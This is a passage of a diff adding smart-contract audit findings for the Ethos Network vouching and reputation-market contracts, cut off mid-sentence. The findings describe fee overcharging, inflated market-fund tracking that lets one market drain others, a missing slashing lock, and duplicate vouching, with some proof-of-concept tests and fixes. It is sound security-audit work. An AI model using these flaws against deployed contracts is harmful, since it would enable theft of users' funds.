10% of the inital msg.value in the vouchByProfileId() transaction + // i.e. more than the supposed MAX_TOTAL_FEES + expect(feeBalanceDifferenceVouch + feeBalanceDifferenceUnvouch) + .to.equal(190909090909090910n, 'Wrong fee amount'); +}); +``` + +### Mitigation + +Consider calculating the exit fee when a user vouches and charge that amount when the user calls `EthosVouch::unvouch()` instead of calculating it using the `exitFeeBasisPoints` value at the timestamp of unvouching. \ No newline at end of file diff --git a/104.md b/104.md new file mode 100644 index 0000000..3530628 --- /dev/null +++ b/104.md @@ -0,0 +1,219 @@ +Furry Carob Chinchilla + +High + +# Vouching and unvouching take more fees than expected + +### Summary + +The current fee calculation system aims to simplify the user vouch amount input. The intent is that in order for the user to vouch with 100ETH they should send 107ETH because of the 7% fees. This was confirmed by the sponsor with a statement: "we want to charge 10 Eth out of 110 Eth" + +To make that calculation, the [`EthosVouch::calcFee`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) function is created and should be called with the total fee basis points to make the calculation correct for the whole sum. + +The calculation for 107ETH with total fees 7% is +```javascript +fee = total - (total * 10000 / (10000 + feeBasisPoints)) +7 = 107 - (107 * 10000 / (10000 + 700)) +``` + +However, inside [`EthosVouch::applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929), the [calcFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) function is used to calculate each individual fee, which makes the calculation incorrect and leads to more fees for the `protocol`, `subject` and `vouchers`: +```javascript +uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + +With 107ETH total amount, 1% protocolFee, 2% donationFee, 4% vouchersPoolFee +// protocolFee = 1059405940594059406 (~1.05ETH) +// donationFee = 2098039215686274510 (~2.09ETH) +// vouchersPoolFee = 4115384615384615385 (~4.11ETH) !Important, the first vouch doesn't include fees + +// total = 7272829771664949301 (~7,27ETH) +``` + +This makes 0.27ETH impact for the users + +### Root Cause + +In [`EthosVouch::applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929), the different fees are calculated with the [`EthosVouch::calcFee`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975), where it should be used only for the total fee basis points + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice vocuhes for profile 3 with 107ETH with the intent that the system will take 7ETH because of 7% fees +2. The system will deposit only `99.72ETH`, which is less than expected + +### Impact + +Vouchers will be charge more than expected + +### PoC + +Inside `EthosVouch.test.ts`, adjust the fees in the deploy fixture to be as follows: + +```javascript + const ethosVouchProxy = await ERC1967Proxy.deploy( + vouchImpAddress, + vouch.interface.encodeFunctionData('initialize', [ + OWNER.address, + ADMIN.address, + EXPECTED_SIGNER.address, + signatureVerifierAddress, + contractAddressManagerAddress, + FEE_PROTOCOL_ACC.address, + 100, // Entry protocol fee basis points + 200, // Entry donation fee basis points + 400, // Entry vouchers pool fee basis points + 0, // Exit fee basis points + ]), + ); +``` + +Place the following test + +```javascript +it.only('should charge more than expected', async () => { + const { + ethosVouch, + PROFILE_CREATOR_0, + PROFILE_CREATOR_1, + VOUCHER_0, + VOUCHER_1, + ethosProfile, + OWNER, + FEE_PROTOCOL_ACC, + } = await loadFixture(deployFixture); + + /* create a profiles */ + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address); + await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address); + await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address); + await ethosProfile.connect(VOUCHER_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1); + await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1); + await ethosProfile.connect(VOUCHER_1).createProfile(1); + + /* Create first vouch because the vouch fee doesn't count for first vouch*/ + await ethosVouch.connect(VOUCHER_0).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('0.0234'), + }); + + /* Create second vouch */ + const protocolFeeAccBalanceBefore = await hre.ethers.provider.getBalance( + FEE_PROTOCOL_ACC.address, + ); + const donationRewardsBefore = await ethosVouch.rewards(3); + const firstVoucherBalanceBefore = await ethosVouch.vouches(0); + + await ethosVouch.connect(VOUCHER_1).vouchByProfileId(3, DEFAULT_COMMENT, DEFAULT_METADATA, { + value: ethers.parseEther('107'), + }); + + const protocolFeeAccBalanceAfter = await hre.ethers.provider.getBalance( + FEE_PROTOCOL_ACC.address, + ); + const donationRewardsAfter = await ethosVouch.rewards(3); + const firstVoucherBalanceAfter = await ethosVouch.vouches(0); + + /* Get the fees */ + const protocolFeeAmount = protocolFeeAccBalanceAfter - protocolFeeAccBalanceBefore; + const donationRewards = donationRewardsAfter - donationRewardsBefore; + const vouchPoolRewards = firstVoucherBalanceAfter[6] - firstVoucherBalanceBefore[6]; + + const vouch = await ethosVouch.vouches(1); + + /* Assert the fees */ + console.log('Protocol fee:', protocolFeeAmount); + console.log('Subject rewards:', donationRewards); + console.log('Vouch pool rewards:', vouchPoolRewards); + console.log('Vouch Deposit Balance', vouch[6]); + expect(protocolFeeAmount).to.equal(1059405940594059406n); + expect(donationRewards).to.equal(2098039215686274510n); + expect(vouchPoolRewards).to.equal(4115384615384615385n); + expect(vouch[6]).to.equal(99727170228335050699n); + }); +``` + +You can see that the fees are calculated as above +```javascript +Protocol fee: 1059405940594059406n +Subject rewards: 2098039215686274510n +Vouch pool rewards: 4115384615384615385n +Vouch Deposit Balance 99727170228335050699n +``` + +### Mitigation + +The mitigation would be to change the `EthosVouch::applyFees` to the following: + +```javascript +function applyFees(uint256 amount, bool isEntry, uint256 subjectProfileId) + internal + returns (uint256 toDeposit, uint256 totalFees) + { + if (isEntry) { + uint256 totalFeeBPS = getTotalFeeBPS(); + + if (totalFeeBPS == 0) { + return (amount, 0); + } + + totalFees = calcFee(amount, totalFeeBPS); + + // Calculate and Distribute fees + if (entryProtocolFeeBasisPoints > 0) { + uint256 protocolFee = totalFees.mulDiv(entryProtocolFeeBasisPoints, totalFeeBPS); + _depositProtocolFee(protocolFee); + } + if (entryDonationFeeBasisPoints > 0) { + uint256 donationFee = totalFees.mulDiv(entryDonationFeeBasisPoints, totalFeeBPS); + _depositRewards(donationFee, subjectProfileId); + } + if (entryVouchersPoolFeeBasisPoints > 0) { + // update the voucher pool fee to the amount actually distributed + uint256 vouchersPoolFee = totalFees.mulDiv(entryVouchersPoolFeeBasisPoints, totalFeeBPS); + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + toDeposit = amount - totalFees; + } else { + toDeposit = amount; + + // Calculate and apply exit fee + if (exitFeeBasisPoints > 0) { + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + _depositProtocolFee(exitFee); + totalFees = exitFee; + toDeposit = amount - exitFee; + } + } + + return (toDeposit, totalFees); + } +``` + +As you see an additional `EthosVouch::getTotalBPS` is added to give the total fee basis points: +```javascript + /** + * @notice Calculates the fee amount based on protocol, donation, and vouchers pool fees BPS + * @dev Calculates the total fee basis points + * @return totalFeeBPS the total amount after fee basis points + */ + function getTotalFeeBPS() internal view returns (uint256 totalFeeBPS) { + totalFeeBPS = entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints; + } +``` + +With the mitigation, the fees are correctly calculated: +```javascript +Protocol fee: 1000000000000000000n +Subject rewards: 2000000000000000000n +Vouch pool rewards: 4000000000000000000n +Vouch Deposit Balance 100000000000000000000n +``` \ No newline at end of file diff --git a/105.md b/105.md new file mode 100644 index 0000000..aebe7d7 --- /dev/null +++ b/105.md @@ -0,0 +1,41 @@ +Calm Fiery Llama + +High + +# Reputation market owners will not be able to withdraw donations if the donation recipient is compromised + +### Summary + +Currently, the donations for a market owner are tied to the donation recipient address. Additionally, the donation recipient address can [only](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L552) be changed by the current donation recipient. This causes donations to be lost if the donation recipient is compromised. + +### Root Cause + +In `ReputationMarket.sol:552` there is a check to ensure that only the current donation recipient can change it. Furthermore, in `ReputationMarket.sol:571` it is ensured that only the donation recipient can withdraw the donations. + +### Internal pre-conditions + +1. The `donationBasisPoints` for the reputation market need to be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice creates a reputation market for her profile using one of the addresses associated with her profile. That address will be the donation recipient. +2. Bob calls `ReputationMarket::buyVotes()` to buy votes for the reputation market with the profileId of Alice. +3. The donations will be tied to the address Alice used to create the market. +4. That address is compromised. +5. Alice cannot change the donation recipient and cannot claim her donations by using any other address that is connected to her profileId. + +### Impact + +The user will not be able to withdraw the donations. + +### PoC + +_No response_ + +### Mitigation + +Consider allowing any address associated with the same profileId to change the donation recipient and withdraw the donations. \ No newline at end of file diff --git a/106.md b/106.md new file mode 100644 index 0000000..1c56212 --- /dev/null +++ b/106.md @@ -0,0 +1,46 @@ +Calm Fiery Llama + +High + +# Rewards being tied to a profileId rather than a single address allows any address associated with the same profileId to steal the rewards + +### Summary + +The protocol insists that funds should be tied to a single address, not the entire profile, as addresses associated with the same profile should only be socially linked. However, in EthosVouch, rewards are tied to the profileId rather than to a single address. This means that [any address associated with the same profileId](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L680) can call `EthosVouch::claimRewards()`, allowing rewards to be claimed by any address associated with the same profileId, including compromised ones. + + + + + + + + +### Root Cause + +In `EthosVouch.sol::claimRewards()`, the rewards can be claimed by any address associated with the same profileId. + +### Internal pre-conditions + +1. `entryDonationFeeBasisPoints` needs to be greater than `0`. + +### External pre-conditions + +None. + +### Attack Path + +1. A user vouches for a profileId by calling `EthosVouch::vouchByProfileId()`. The caller will pay a donation fee which will be tied to the profileId that they vouched for. +2. Any address associated is compromised. +3. That address calls `EthosVouch::claimRewards()` to claim the rewards associated with the profileId. + +### Impact + +A user may lose all of their rewards. + +### PoC + +_No response_ + +### Mitigation + +Consider allowing only one of the addresses that are associated with the same profile to claim the rewards. \ No newline at end of file diff --git a/107.md b/107.md new file mode 100644 index 0000000..5247179 --- /dev/null +++ b/107.md @@ -0,0 +1,94 @@ +Skinny Daffodil Falcon + +High + +# Inconsistent MarketFunds Tracking in `ReputationMarket::buyVotes` Leads to Potential Break of the protocol + +### Summary + +The `marketFunds` tracking becomes inflated because when buying votes, the full amount including fees is added to `marketFunds` even though the fees have been sent out of the contract. +On [buys](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481), the protocol adds the total funds sent by the buyer (including `protocolFee` and `donations` in [`_calculateBuy`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978)) to `marketFunds[profileId]`. +The problem is that the `procolFee` in the `buyVotes` are sent directly to the `protocolFeeAddress`, This inconsistency causes marketFunds to overestimate the actual balance available for withdrawals. In a multi-market scenario, this discrepancy allows a market withdrawal to deplete funds reserved for other markets, effectively creating a cross-market fund drain vulnerability. + +### Root Cause + +In ['_calculateBuy'](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) we calculate `fundsPaid` and then add `protocolFee ` and `donation` this amount is then added to marketFunds in `BuyVotes` +```javascript + marketFunds[profileId] += fundsPaid; + ``` +The problem is that `ProtocolFee` has already been [sent](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L464) to the `protocolFeeAddress` which leads inflated view of available funds for each market. +A simple scenario case would be: +- `BuyVotes` is called with 1 ETH (no refunds). +- `ProtocolFee` is 0.1 ETH (sent to `protocolFeeAddress`) and `donation` is 0.05 ETH +The current balance of the ReputationMarket is (1-0.1=0.9ETH) However `marketFunds[profileId] = 1 ETH' +A simple Withdraw from `withdrawGraduatedMarketFunds` will revert. +### Internal pre-conditions + +`marketFunds[profileId]` is incremented by the total amount sent during `buyVotes`. + + +### External pre-conditions + +_No response_ + +### Attack Path +The attack path is simple, when a market is created, the `marketFunds` are inflated due to the count of fees, this means a simple `withdrawGraduatedMarketFunds` will either revert or deplete funds intended for other markets. + +### Impact + +1. The protocol's actual Ether balance becomes insufficient to cover marketFunds for all markets. +2. Withdrawals for one market can steal funds reserved for other markets. +This break the invariant of the protocol ` The vouch and vault contracts must never revert a transaction due to running out of funds.` + + +### PoC + +This poc is a simple test to demonstrate that the tracked funds are bigger than the the current balance, if one tries to `withdrawGraduatedMarketFunds` the example will revert +```javascript + address user1 = address(10); +function testMarketFundsAccounting() public { + uint256 profileId = 10; + uint256 depositAmount = 1 ether; + + // Create market with initial liquidity + vm.deal(user1, depositAmount); + vm.startPrank(user1); + market.createMarket{value: depositAmount}(); + vm.stopPrank(); + console.log("user1 address", user1); + // User2 buys votes + vm.deal(user2, depositAmount); + vm.startPrank(user2); + market.buyVotes{value: depositAmount}(profileId, true, 0, 500); + vm.stopPrank(); + + // Check the accounting + uint256 trackedFunds = market.marketFunds(profileId); + uint256 actualBalance = address(market).balance; + + console.log("Tracked funds:", trackedFunds); + console.log("Actual balance:", actualBalance); + console.log("Difference:", trackedFunds - actualBalance); + + // The tracked funds will be higher than actual balance by the amount of fees + assertTrue(trackedFunds > actualBalance, "Tracked funds should be higher than actual balance"); + // withdraw donation + vm.startPrank(user1); + market.withdrawDonations(); + vm.stopPrank(); + uint256 BalanceAfter = address(market).balance; + console.log("Actual balance after withdraw donation:", BalanceAfter); + // after setting the graduateaddr you can uncomment this section to see the revert error + // vm.startPrank(graduateaddr); + // market.graduateMarket(profileId); + // // revert because of Out of funds -vvv for more details + // vm.expectRevert('ETH transfer failed'); + // market.withdrawGraduatedMarketFunds(profileId); + // vm.stopPrank(); + + } +``` + +### Mitigation + +Don't include fees in `marketFunds` in the `BuyVotes`. (for `donation` another finding will highlight the issue with the current implementation) \ No newline at end of file diff --git a/108.md b/108.md new file mode 100644 index 0000000..bcd8e8f --- /dev/null +++ b/108.md @@ -0,0 +1,82 @@ +Recumbent Shamrock Barracuda + +Medium + +# `markUnhealthy` restricts vouch marking to voucher, contradicting whitepaper specifications + +### Summary + +The `markUnhealthy` function in the `EthosVouch` contract restricts marking a vouch as unhealthy to the voucher (author of the vouch). However, the [Ethos Whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/vouch#unvouch) specifies that the **subject of the vouch** (vouchee) should also be able to mark it as unhealthy within 24 hours after an unvouch. This discrepancy prevents the subject from signaling that the vouch ended on poor terms, which is an essential feature for network trustworthiness. + +### Root Cause + +The `markUnhealthy` function calls `_vouchShouldBelongToAuthor`, which ensures that only the voucher (authorProfileId) can execute the function. There is no provision for the subject (subjectProfileId) to mark the vouch as unhealthy. + +Relevant code in `markUnhealthy`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L504 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L821-L825 +```solidity +_vouchShouldBelongToAuthor(vouchId, profileId); + +if (vouches[vouchId].authorProfileId != author) { + revert NotAuthorForVouch(vouchId, author); +} +``` + +This logic prevents the subject from marking the vouch as unhealthy, contrary to the whitepaper. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A voucher creates a vouch for a subject. +2. The voucher unvouches, and the vouch is marked as archived. +3. The subject attempts to call `markUnhealthy` on the archived vouch. +4. The transaction reverts with the error `NotAuthorForVouch`. + + +### Impact + +This issue results in a functional deviation from the Ethos Whitepaper's described mechanism, which could reduce trust signaling efficiency. By restricting the marking of unhealthy vouches to the voucher, the contract fails to: +- Allow subjects to react to an unvouch in poor terms. +- Fully realize the intended decentralized trust mechanism described in the whitepaper. + +This may undermine the network's credibility and the utility of vouching as a trust mechanism. + + +### PoC + +_No response_ + +### Mitigation + +```solidity +function markUnhealthy(uint256 vouchId) public whenNotPaused { + Vouch storage v = vouches[vouchId]; + uint256 callerProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnhealthy(vouchId); + + // Allow either the author (voucher) or the subject (vouchee) to mark unhealthy + if ( + v.authorProfileId != callerProfileId && + v.subjectProfileId != callerProfileId + ) { + revert NotAuthorOrSubjectForVouch(vouchId, callerProfileId); + } + + v.unhealthy = true; + v.activityCheckpoints.unhealthyAt = block.timestamp; + + emit MarkedUnhealthy(v.vouchId, v.authorProfileId, v.subjectProfileId); +} +``` \ No newline at end of file diff --git a/109.md b/109.md new file mode 100644 index 0000000..4c7798e --- /dev/null +++ b/109.md @@ -0,0 +1,60 @@ +Skinny Daffodil Falcon + +High + +# Inconsistent MarketFunds Tracking in `ReputationMarket::sellVotes` Leads to Potential Break of the protocol + +### Summary + +In the `ReputationMarket` contract, the [sellVotes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) function updates the `marketFunds` value incorrectly by subtracting only the seller's payout while ignoring protocol fees. +This creates an overestimation of the funds available in `marketFunds[profileId]`. As a result: + +The `marketFunds` value for a market can become larger than the actual contract balance. +In a multi-market scenario, a withdrawal from one market can deplete funds intended for others, leading to a cross-market fund drain. + + + + +### Root Cause + +In the `sellVotes` we call [`_calculateSell`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003) in which before returning the data we call [`previewFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1151) here we substract the protocolFee from the funds, this means that at the end in `sellVotes`, `fundsReceived` doesn't include `protocolFee`. +This means the balance of `ReputationMarket` is decreased without tracking it in `MarketFunds`, this means `ReputationMarket` have an inflated view of what's in the balance. + + +### Internal pre-conditions + +1. During a sellVotes call: + The seller receives a payout after deducting protocol fees and donations. + The protocol does not adjust marketFunds[profileId] to account for these fees and donations. +2. The protocol accumulates these discrepancies over multiple sellVotes transactions. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker observes that the marketFunds[profileId] value for a market exceeds the actual contract balance due to the tracking discrepancy. +2. The attacker initiates a withdrawal for the inflated marketFunds[profileId]. +3. The withdrawal depletes the contract’s Ether balance, potentially draining funds reserved for other markets. + +### Impact + +Withdrawals from one market can take funds intended for other markets. +The protocol becomes unable to honor market fund withdrawals, breaking its invariant `The vouch and vault contracts must never revert a transaction due to running out of funds.` + + +### PoC + +A simple case scenario would be +SellVotes is called. +After `_calculateSell` we have: + - `fundsReceived=0.9ETH` (sent to the `User`) + - `protocolFee=0.1ETH` (sent to the `protocolFeeAddress`). +0.9 ETH is substracted from `MarketFunds` **But** 1ETH is substracted from `ReputationMarket` balance. + +### Mitigation + +```javascript +marketFunds[profileId] -= (fundsReceived + protocolFee); // deduct both user funds and fees +``` \ No newline at end of file diff --git a/110.md b/110.md new file mode 100644 index 0000000..28c282a --- /dev/null +++ b/110.md @@ -0,0 +1,73 @@ +Recumbent Shamrock Barracuda + +Medium + +# `slash` function lacks 24-hour lock mechanism for accused staking and withdrawals + +### Summary + +The `slash` function in the `EthosVouch` contract implements the slashing of the accused voucher’s stake, transferring the slashed amount to the `protocolFeeAddress`. However, according to the [Ethos Whitepaper](https://whitepaper.ethos.network/ethos-mechanisms/slash#slashing), slashing should also trigger a **24-hour lock** on staking and withdrawals for the accused. This lock mechanism is missing, allowing the accused to continue staking or withdrawing funds immediately after being slashed. + + +### Root Cause + +The `slash` function does not implement any mechanism to enforce a **24-hour lock** on staking and withdrawals for the accused. The function only reduces the stake of the accused and transfers the slashed amount to the `protocolFeeAddress`. + +Relevant Code in `slash`: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520-L555 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Execute the `slash` function on an accused voucher. +2. Observe that there is no restriction on staking or withdrawing funds for the accused within the 24-hour period after slashing. +Voucher can `vouch` or `unvouch` immediately. + +### Impact + +The absence of the 24-hour lock mechanism deviates from the whitepaper’s described protocol, potentially enabling undesirable behavior: +1. **Evading Consequences**: The accused can withdraw remaining funds immediately after slashing, circumventing the intended lock period. +2. **Security Risk**: Lack of a cooldown period undermines the whitepaper’s design to prevent rash staking/withdrawal activity during the investigation period. + +This can reduce the protocol's reliability and create vulnerabilities for malicious actors to exploit. + + +### PoC + +_No response_ + +### Mitigation + +1. **Add a Lock Data Structure** + Add a mapping to track the lock expiration time for each profile: + ```solidity + mapping(uint256 => uint256) public lockExpiration; // Maps profileId to lock expiration timestamp + ``` + +2. **Modify `slash` Function** + Update the `slash` function to set the lock expiration: + ```solidity + lockExpiration[authorProfileId] = block.timestamp + 24 hours; + + emit LockTriggered(authorProfileId, lockExpiration[authorProfileId]); + ``` + +3. **Enforce Lock in Critical Functions** + Add a modifier to enforce the lock in staking and withdrawal functions: + ```solidity + modifier notLocked(uint256 profileId) { + if (block.timestamp < lockExpiration[profileId]) { + revert ProfileLocked(profileId, lockExpiration[profileId]); + } + _; + } + ``` + +`vouchByProfileId`, `increaseVouch`, `unvouch` functions can use this modifier. \ No newline at end of file diff --git a/111.md b/111.md new file mode 100644 index 0000000..e82286b --- /dev/null +++ b/111.md @@ -0,0 +1,101 @@ +Itchy Ginger Loris + +High + +# ReputationMarket contract can become insolvent due to wrong fee accounting + + +## Summary + +Ethos Protocol implements fees that are applied on votes purchased and sold; however, these fees are not accounted for in the market liquidity. Such a logical error leads to the total liquidity amount of all markets plus donations recorded being higher than the `ReputationMarket` contract's balance, which will result in more funds being withdrawn after market graduation and, eventually, cause contract insolvency and reversal of withdrawal transactions. + + +## Vulnerability Detail + +1. During a votes purchase call, the `_calculateBuy` function computes the number of votes bought, the funds paid for the votes, and the fee amounts. Subsequently, the fees are sent to the `protocolFeeAddress`, and the donation amount is accounted for accordingly. Finally, `marketFunds[profileId]` is increased by `fundsPaid`. However, the issue lies in the fact that `fundsPaid` represents the total gross amount paid by the buyer. As a result, this inflates the market balance (`marketFunds[profileId]`), which becomes greater than the actual contract balance increase. + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +>> uint256 fundsPaid, // @audit gross amount: price for votesBought + protocolFee + donation + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +>> applyFees(protocolFee, donation, profileId); // @audit fees paid, donation amount increased + + // ... irrelevant code skipped ... + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +>> marketFunds[profileId] += fundsPaid; // @audit ISSUE: tally increased by gross amount! + + // ... irrelevant code skipped ... + } +``` + +2. In contrast, during a votes sell call, the `_calculateSell` function returns the `fundsReceived` value as the net amount destined for the vote seller. This amount is then subtracted from `marketFunds[profileId]` ***without accounting for the fees*** sent to the `protocolFeeAddress`. + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, +>> uint256 fundsReceived, // @audit net amount to be sewnt to the seller + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // ... irrelevant code skipped ... + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds +>> marketFunds[profileId] -= fundsReceived; // @audit ISSUE: tally decreased without fees amount + // ... irrelevant code skipped ... + } +``` + + +## Impact + +More funds will be withdrawn after market graduation, which breaks the internal accounting and eventually leads to the reversal of sell and withdrawal transactions. + +## Code snippets +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + + +## Recommendation + +Subtract fees from `marketFunds[profileId]` during buy and sell. diff --git a/112.md b/112.md new file mode 100644 index 0000000..08cd832 --- /dev/null +++ b/112.md @@ -0,0 +1,60 @@ +Itchy Ginger Loris + +High + +# Buyers lose a portion of remaining ETH due to wrong fees calculation + +## Summary + +During the purchase of votes, the buyer sends a certain amount of ETH and expects the smart contract to calculate the number of votes that can be bought and send the remaining balance back. However, the issue arises from the fact that fees are applied to the full amount sent, rather than the price of the votes being purchased. + +## Vulnerability Detail + +Consider the following scenario: +1. Vote price is 0.5 ETH, protocol fee is 5% and donation is 5%. +2. Buyer calls `buyVotes` and sends 1 ETH. +3. `_calculateBuy` will return + - `votesBought`: 1 + - `fundsPaid`: 0.6 ETH (0.5 is the price and 0.1 is 10% of 1 ETH) +4. Buyer receives refund of 0.4 ETH + +However, as can clearly be seen from the initial values, the gross amount of 1 vote purchased should be: `0.5 + (0.5 × 10%) = 0.55 ETH`. Therefore, the buyer should be refunded `0.45 ETH`. The lost amount due to the fee calculation issue in this example is` 0.05 ETH`. + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +>> (fundsAvailable, protocolFee, donation) = previewFees(funds, true); // @audit ISSUE: `funds` == `msg.value` !! + uint256 votePrice = _calcVotePrice(market, isPositive); + // ... rest of the code skipped ... + } +``` + + +## Impact + +Buyers lose a portion of their refunds. The amount lost depends on fee percentages, vote current price, and `msg.value`, and can be significant. + +## Code snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983 + + +## Recommendation + +Calculate fees based on the actual amount paid for the votes purchased. diff --git a/113.md b/113.md new file mode 100644 index 0000000..51126f4 --- /dev/null +++ b/113.md @@ -0,0 +1,31 @@ +Itchy Ginger Loris + +Medium + +# No slippage protection in `ReputationMarket.sellVotes()` + +## Summary + +`ReputationMarket.sellVotes()` allows selling votes however does not offer slippage protection, as a result, users may receive fewer ETH than they expected. + +## Vulnerability Detail + +Consider the following scenario: + +1. Alice sees on the UI or via `simulateSell()` function that she will receive 1 ETH for her vote if she will sell now. +2. Alice starts the transaction via `sellVotes()`. +3. However Bob's sell transaction to sell 10 votes is already in flight and thus lends first in the Base L2 Sequencer feed. +4. Alice's transaction lends next, yielding much less amount than she was expecting. + +## Impact + +Users receive fewer funds than they were shown on UI or via `simulateSell()`. + +## Code Snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + + +## Recommendation + +Allow sellers to specify slippage based on the expected amount and maximum acceptable percent of deviation. diff --git a/114.md b/114.md new file mode 100644 index 0000000..cba9cd5 --- /dev/null +++ b/114.md @@ -0,0 +1,160 @@ +Calm Fiery Llama + +Medium + +# Users can vouch for the same profile multiple times + +### Summary + +When a user vouches for a mock profile that is later claimed by a registered profile, the same author can still vouch for the claimer. As a result, a user could vouch multiple times for the same profileId if they vouch for both the claimer and the mock profile that is claimed, as this would bypass the check in [EthosVouch::vouchByProfileId()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L368-L369). + +### Root Cause + +It is never checked if the author has already vouched for a mock that the subject has claimed. + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +1. Alice calls `EthosVouch::vouchByProfileId()` to vouch for mock profile A. +2. Bob registers mock profile A to his profile, resulting in the vouch for the mock being associated with his profile. +3. Alice calls `EthosVouch::vouchByProfileId()` to vouch for Bob's profile. Now Bob's profile has multiple vouches from the same author associated with his profile. + +### Impact + +Vouchers should not be allowed to vouch for the same profile multiple times. However, this restriction can easily be bypassed, potentially resulting in a profile receiving more vouches than the maximum allowed from the same author. This means that the credibility score of a profile could be significantly increased by a single author. + +Additionally, a user can create a mock profile, vouch for it, and later claim that mock profile as their own, resulting in a self-vouch. + +### PoC + +Before adding the 